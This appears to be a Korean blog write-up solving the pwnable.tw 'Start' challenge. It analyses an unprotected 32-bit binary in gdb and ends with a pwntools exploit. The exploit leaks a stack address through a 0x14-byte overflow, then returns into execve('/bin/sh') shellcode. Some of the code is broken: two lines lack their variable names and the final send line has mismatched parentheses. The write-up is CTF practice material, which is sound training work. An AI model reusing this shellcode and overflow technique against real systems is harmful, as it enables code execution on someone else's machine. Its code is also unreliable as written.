본문 바로가기

PWNABLE/pwnable.tw

Start (100 points)

 

[ 실습 환경 ] 

테스트 환경 : Ubuntu 18.04 64bit

테스트 대상 : start [i386-32-little, No RELRO, No Canary found, NX disabled, No PIE]

테스트 도구 : gdb(peda)


[바이너리 분석]

주어진 바이너리는 어떠한 보호기법조차 걸려있지 않으며 상당히 작은 사이즈의 바이너리로 확인된다.

 

그림1. _start

 

다음의 디스어셈블한 코드를 살펴본 결과 interrupt를 이용해 system call을 하는 것으로 확인된다.

SYSCALL 부분과 Return 부분을 브레이킹 포인트를 걸어서 해당 상황에서의 메모리를 확인해보자.

 

그림2. breakpoint 1

 

다음과 같이 ECX레지스터에 출력할 문자열의 주소가 로드된 것을 확인할 수 있다.

 

그림3. breakpoint2

 

Return Instruction을 실행할 떄의 스택 상황을 살펴본다.

 

그림4. stack

 

현재 스택 상황에서 ret 명령어를 실행하면 스택 최상단에 있는 주소가 eip가 될 것이며

해당 스택 상황에서의 esp는 0xffffd048+4인 0xffffd04c가 될 것이다.

 

결과적으로 esp 레지스터에는 0xffffd050이 로드되있다.

이 정보를 알아야만 우리는 쉘코드의 주소를 알 수가 있다.

 

그림5. ret할 주소

 

다음과 같이 유의미한 코드를 찾을 수 있었다. 

해당 부분부터 실행하게 되면 esp[0xffffd04c] → 0xffffd050이 출력될 것이다.

 

다시 read를 진행할 때 총 0x14개의 dummy값과 esp+0x14의 주소를 대입한다면 해당 부분으로 ret하여

정상적으로 쉘코드가 실행될 것이다.


[바이너리 공격]

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
 
#context.log_level = "debug"
 
#p = remote('chall.pwnable.tw', 10000)
= process("./start")
= ELF("./start")
 
# STEP1. LEAK STACK ADDRESS
payload = "A"*0x14 + p32(0x08048087)
 
p.recvuntil("Let's start the CTF:")
p.send(payload)
 
stack_addr = u32(p.recv(4))
 
 
sleep(0.2)
 
 
# STEP2. EXPLOIT!
 
shellcode = ""
shellcode += asm("xor eax, eax")
shellcode += asm("xor ebx, ebx")
shellcode += asm("xor ecx, ecx")
shellcode += asm("xor edx, edx")
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
p.send("B"*0x14 + p32(stack_addr+0x14+ shellcode)
 
p.interactive()
 
cs